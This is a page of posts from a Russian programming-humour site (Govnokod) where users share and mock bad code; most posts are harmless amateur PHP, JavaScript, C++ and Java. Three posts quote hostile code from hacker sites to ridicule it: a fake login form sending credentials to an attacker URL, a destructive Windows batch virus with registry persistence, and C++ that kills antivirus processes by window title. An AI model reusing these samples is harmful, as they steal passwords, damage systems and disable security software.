1. PHP / Говнокод #16350

    +143

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    <?php
    	echo <<<HERE
    		Чё-т я не врубаюсь, каким образом на ЭТОМ сайте работает система оценивания. Если мой код минусуют, то это, значит, плохой говнокод получился ? Т.е. хороший на самом деле ? И наоборот: как плюсуют, значит хороший говнокод, т.е. риал извращённый ? Лол, параллельная вселенная с парадоксальными искажёнными правилами написания кода. Компиляторы пускают разноспектральные фонтаны жидкости и говнокод делают ПРОСТА АФИГЕССССНЫМ КОДАМ, а TRUE-код закидывает камнями.
    	HERE;
    ?>

    ЙАААААААААЗЬ!!!!! ДОБРО ПОЖАЛОВАТЬ В ПАРАЛЛЕЛЬНУЮ ВСЕЛЕННУЮ!!! УХАХАХАХХА!!!

    CodeStar, 15 Июля 2014

    Комментарии (11)
  2. JavaScript / Говнокод #16349

    +146

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    <script type="text/JavaScript">
    			var zap = prompt ("Введите, сударь, необходимое вам число:","");
    			document.write("<h1>Типа рандом чисел:</h1><br>");
    			var rand = new Date();
    			var a = rand.getSeconds() + 1;
    			document.write("<div class='vid0'>Текущая секунда: <span>"+a+"</span></div><br>");
    			document.write("<div class='vid0'>Введённое значение: <span>"+zap+"</span></div><br>");
    			var number=(rand.getSeconds())*zap%a;
    			var number=number+1;
    			document.write("<div class='vid0'>Типа результат рандома: <span>" + number + "</span></div><br>");
    			document.write("<div class='vid1'>Хош задать другое значение ? Обнови страницу.</div>");
    		</script>

    Один кулхоцкир, которого звать Лмнсв Пшк и который кодит на таком КРУТОМ ( ВАЩЕЕЕЕЕЕЕ ) языке, как «АЖПАСКАЛЬ», доколупался ко мне ( игноррируя то, что я и не программист, а, скорее, просто любитель ) со словами, что кодер ОБЯЗАТЕЛЬНО должен писать библиотеки, или он нубяра. Я же любитель пострадать фигнёй ( если желание есть ) но ни один язык в полном объёме не знаю. ._. И абсолютно ХЗ, как создать крутую библиотеку. А Пшк как доколупался, то и не отвянет. Ну, корочь, выдумал типа задание: создать рандом без использования встроенных в JS функций. Корочь, в итоге получился закостыленный велосипед. Во. Гениально звучит.

    CodeStar, 15 Июля 2014

    Комментарии (29)
  3. C++ / Говнокод #16348

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    #include "stdafx.h"
    #include <stdio.h>
    #include <iostream>
    #include <conio.h>
    using namespace std;
    int main(){
    	setlocale(0,"");
    	int mss[4][3] = {4,2,4,3,1,9,1,6,9,1,1,9};
    	
    	printf("Значение ячеек массива:\n");
    	cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
    	cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
    	cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
    	cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
    
    	int *p1=&mss[1][0], *p2=p1;
    	printf("Значения созданных указателей *p1 и *p2:\n");
    	cout<<*p1<<" "<<*p2<<"\n\n";
    
    	mss[3][*p1-1]=(mss[2][0]-3)*(*p1);
    	
    	printf("Значение mss[3][2] после присваивания ему значения (mss[2][0]-3)*(*p1):\n");
    	cout<<mss[3][2]<<"\n\n";
    
    	mss[0][2]++;
    	printf("Значение mss[0][2] после его инкремента:\n");
    	cout<<mss[0][2]<<"\n\n";
    
    	*p1=(!mss[3][0]<*p2)?5*mss[3][0]/4:mss[0][2]-mss[1][2];
    	printf("Значение *p1 после присваивания 5*1/4=5/4=1,25=1 по условию:\n");
    	cout<<*p1<<"\n\n";
    
    	*p1=*p2/(mss[0][0]+1);
    	printf("Значение *p1 после присваивания *p2/(mss[0][0]+1):\n");
    	cout<<*p1<<"\n\n";
    
    	*p1=mss[0][0];
    	printf("Значение *p1 после присваивания mss[0][0]:\n");
    	cout<<*p1<<"\n\n";
    	
    	p2=&mss[2][2];
    	printf("Значение p2 после присваивания &mss[2][2]:\n");
    	cout<<p2<<"\n\n";
    
    	*p2=*p2%4+mss[2][2];
    	printf("Значение *p2 после присваивания *p2%4+mss[2][2]:\n");
    	cout<<*p2<<"\n\n";
    
    	printf("Результирующие значения ячеек массива после всех вычислений:\n");
    	cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
    	cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
    	cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
    	cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
    
    	printf("[...Нажмите на любую клавишу для завершения работы программы...]");
    	_getch();
    }

    Я ХЗ, что это за долбонутая хренотень, но такое задание дали знакомому на экзамене, вместо которого пришлось это решать, да ещё так, что бы экзаменаторша поверила, что это сделал он ( я же ему писал и скидывал на ВК ). А он же в этом нуб похлеще меня ( я мало на плюсах писал ). Короче, это самое неэффективное и упоротое решение среди всех. Я нафига-то подключил тут conio.h, хотя его использовал 1 раз вместо system("pause"), которое было бы кстати. А ещё тут раньше было дофига комментариев, дабы чувак хоть что-то понял. Но этот код вышел в итоге настолько долбонутым, что эти комментарии даже его сделали нечитаемым вовсе. :DDDDDDD Один знакомый чувак, что на кодера учится, охренел от вида этого безобразия. Ещё одна упртсть - то, что я чередовал printf и cout. Ну и подключил в итоге лишнюю библиотеку, хотя можно было использовать что-то одно и не подключать всякую хрень. Короче, этот код ужасен. Но я писал и похлеще. :D Особенно когда пришлось однажды другому уже чуваку на ВК скидывать решения, которые я писал в блокнот с планшета с опечатками. Это было ужасно...

    CodeStar, 15 Июля 2014

    Комментарии (4)
  4. Java / Говнокод #16347

    +73

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    import java.awt.AWTEvent;
    import java.awt.Component;
    import java.awt.event.MouseEvent;
    import java.util.ArrayList;
    import java.util.List;
    
    import javax.swing.JLayeredPane;
    
    public class ContainerOperations extends JLayeredPane {
    	private static final long serialVersionUID = 1L;
    
    	private CardPositionInContainer cardPosition;
    	private List<Card> rem = new ArrayList<Card>();	
    	
    	public List<Card> getRem() {
    		return rem;
    	}
    
    	public ContainerOperations() {
    		enableEvents(AWTEvent.MOUSE_EVENT_MASK);
    	}
    
    	public void addFromListInToContainer(List<Card> list) {
    		if (getComponentCount() == 0)
    			addInToEmpty(list);
    		else
    			appendIfContains(list);
    	}
    
    	private void appendIfContains(List<Card> list) {
    		int fromIndex = highestLayer() + 1;
    		int toIndex = highestLayer() + 1 + list.size();
    		appendFromLayerToLayer(list, fromIndex, toIndex);
    	}
    
    	private void addInToEmpty(List<Card> list) {
    		int fromIndex = 0;
    		int toIndex = list.size();
    		cardPosition.setCardPosition(0);
    		appendFromLayerToLayer(list, fromIndex, toIndex);
    	}
    
    	private void appendFromLayerToLayer(List<Card> list, int fromIndex,
    			int toIndex) {
    		int listIndex = 0;
    		for (int layer = fromIndex; layer < toIndex; layer++) {
    			Card card = list.get(listIndex++);
    			cardPosition.setCardPosition(layer);
    			card.setLocation(cardPosition.getCardPosition());
    			add(card, new Integer(layer));
    		}
    	}
    	
    	@Override
    	protected void processMouseEvent(MouseEvent e) {
    		rem.clear();
    		if (e.getID() == MouseEvent.MOUSE_PRESSED) {
    			Component comp = getComponentAt(e.getPoint());
    			addInToRemListIfMousePressed(comp);
    		} 
    	}
    
    
    	private void  addInToRemListIfMousePressed(Component comp){
    		if (comp instanceof Card) {
    			Component mark = (Card) comp;
    			int markedLayer = getMarkedLayer(mark);
    			addInToRemList(markedLayer);		
    		}
    	}
    	
    	private Integer getMarkedLayer(Component marked) {
    		return getComponentCount() - getComponentZOrder(marked) - 1;
    	}
    
    	private void addInToRemList(int layerOfmark) {
    		for (int i = layerOfmark; i < highestLayer() + 1; i++) {
    			Component[] card = getComponentsInLayer(i);
    			rem.add((Card) card[0]);
    		}
    	}
    
    }

    spivti, 15 Июля 2014

    Комментарии (0)
  5. Куча / Говнокод #16346

    +129

    1. 1
    2. 2
    3. 3
    4. 4
    Я не считаю, что писать сайты на С++ - это бред. По-моему бред - это использовать динамически типизированный скрипт, типа PHP, у которого даже нормального ООП нет.
    Я писал на PHP и знаю, как это не удобно. Я считаю, если создать нормальную удобную обертку, то на С++ писать гораздо удобнее. 
    Самый главный минус С++ в том, что свой сайт я могу держать только на своем собственном сервере, и не могу его залить на какой-нибудь бесплатный хостин,
    как в случае с PHP.

    Прафессианальные сайтостроители с гейдева просвещают.

    gost, 15 Июля 2014

    Комментарии (186)
  6. Java / Говнокод #16345

    +71

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    import java.io.IOException;
    import java.io.RandomAccessFile;
    //класс для работы с беззнаковым типом
    public class UnsignedTypes {
     private RandomAccessFile nameOfFile;
        //конструктор
        UnsignedTypes(RandomAccessFile f) {
            nameOfFile = f;
        }
        // Статическая функция которая на вход
        // принимает знаковую переменную(любого типа)
        //а на выходе возращает беззнаковый long
        //если ваш компилятор ругается не забудьте
        // превести вашу переменную к типу long явно
        // UnsignedTypes.convert((long)yourvariable)
        static public long convert(long signedvariable){
          long ans=0;
            for(int i=0;i<64;i++){
             ans+=(int)Math.pow(2,i)*(Math.abs(signedvariable % 2));
                signedvariable>>=1;
            }
            return ans;
        }
        //функция чтения WORD(unsigned short)
        public long readWord() throws IOException {
           byte[] mas = new byte[2];
            nameOfFile.readFully(mas,0,2);
            return read(mas,2);
        }
        //функция чтения DWORD(unsigned int)
        public long readDWord() throws IOException {
            byte[] mas = new byte[4];
            nameOfFile.readFully(mas,0,4);
            return read(mas, 4);
        }
        //функция используеая для работы двух верхних функций
        private static long read(byte mas[],int numberOfByte) {
            long ans = 0;
            for (int i = 0; i <numberOfByte; i++) {
                for (int j = 0; j < 8; j++) {
                    //System.out.print(Math.abs(mas[i] % 2));
                    ans+=(int)Math.pow(2,j+i*8)*(Math.abs(mas[i] % 2));
                    mas[i] >>= 1;
                }
                //System.out.print(" ");
            }
            return ans;
        }
        //функция чтения 1байтового Char из бинарного файла
        public char readChar() throws IOException {
            char ans =0;
            byte b=nameOfFile.readByte();
            ans=(char) b;
            return ans;
        }
    }

    Нуфф сказал.

    http://cybern.ru/java-antivirus.html

    gost, 15 Июля 2014

    Комментарии (4)
  7. PHP / Говнокод #16344

    +157

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    $adres = $_SERVER["REQUEST_URI"];
    
    if (strpos($adres, "?"))
    {
    	$adres = substr( $adres, strpos($adres, "?") + 1 ) ;
    	$T = explode('?', $adres) ;
    	$id = $T[0];
    	$count_product = $T[1];
    }

    Добавление товара в корзину на одном из интернет-магазинов через AJAX.
    После нажатия кнопки "В корзину" происходит запрос /js/ajax-basket.php?1966?2
    где "1966" - id товара, а "2" - количество
    Собственно код выше - это обработка данного запроса

    0day, 15 Июля 2014

    Комментарии (7)
  8. Куча / Говнокод #16343

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    PHP Devel Studio 2.0
     
    Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
    И если вы знаете языки программирования тогда для вас нет предела в этой программе!
    Скрипт:
    $edit1 = c('Form1->edit1')->text;
    $edit2 = c('Form1->edit2')->text;
    $combobox1 = c('Form1->combobox1')->inText;
    $url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
    file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
    MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");

    "Вирусы" на "PHP". Сбылась мечта идиота...

    http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8

    gost, 15 Июля 2014

    Комментарии (20)
  9. Куча / Говнокод #16342

    +128

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    @echo off
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
    time 0:00 >nul
    date 13.06.23 >nul
    label C:IDIOT >nul
    label D:URAK >nul
    label E:SUKA >nul
    label F:GANDON >nul
    copy %0 C:\Open.bat >nul
    copy %0 D:\Open.bat >nul
    copy %0 E:\Open.bat >nul
    copy %0 F:\Open.bat >nul
    net user "Idiot you Hacked" /add >nul
    net user "Bitch you Hacked" /add >nul
    net user "Durak you Hacked" /add >nul
    net user "Kritin you Hacked" /add >nul 
    net user "Gavno you Hacked" /add >nul
    md 1 >nul
    md 2 >nul
    md 3 >nul
    md 4 >nul
    md 5 >nul
    md 6 >nul
    md 7 >nul
    md 8 >nul
    md 9 >nul
    md 10 >nul
    md 11 >nul
    md 12 >nul
    md 13 >nul
    md 14 >nul
    md 15 >nul
    md 16 >nul
    md 17 >nul
    md 18 >nul
    md 19 >nul
    md 20 >nul
    md 21 >nul
    md 22 >nul
    md 23 >nul
    md 24 >nul
    md 25 >nul
    md 26 >nul
    md 27 >nul
    assoc .lnk=.txt >nul
    assoc .exe=.txt >nul
    :x ; 
    Start mspaint 
    goto x ; 
    :x ; 
    Start Calc 
    goto x ; 
    copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
    del %0 >nul

    " Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от SMOKED'а, вирусо-писательства. Если же нет. Читаем все заново))"
    Вирусо-писатель SMOKED просвещает.

    http://hacker-club27.ucoz.ru/index/kak_napisat_svoj_virus_bez_vsjakikh_prog ramm/0-6

    gost, 15 Июля 2014

    Комментарии (5)
  10. C++ / Говнокод #16341

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
    
    BOOL BadWindow(LPSTR strWindow)
    {
    BOOL res = FALSE;
    for (int i=0;i<kx;i++)
    if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
    return res;
    }
    BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
    {
    LPTSTR str1 = new char[255];
    GetWindowText(hwnd1,str1,255);
    if (BadWindow(str1))
    {
    DWORD dwProcessId;
    GetWindowThreadProcessId(hwnd1,&dwProcessId);
    if (dwProcessId!=GetCurrentProcessId())
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    TerminateProcess(hProcess,0);
    CloseHandle(hProcess);
    }
    }
    delete str1;
    return TRUE;
    }
    void EnumProcessesOther()
    {
    LPARAM c = 0;
    EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
    }

    > {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
    > TerminateProcess(hProcess,0);
    Наивный макак.

    http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/

    gost, 15 Июля 2014

    Комментарии (23)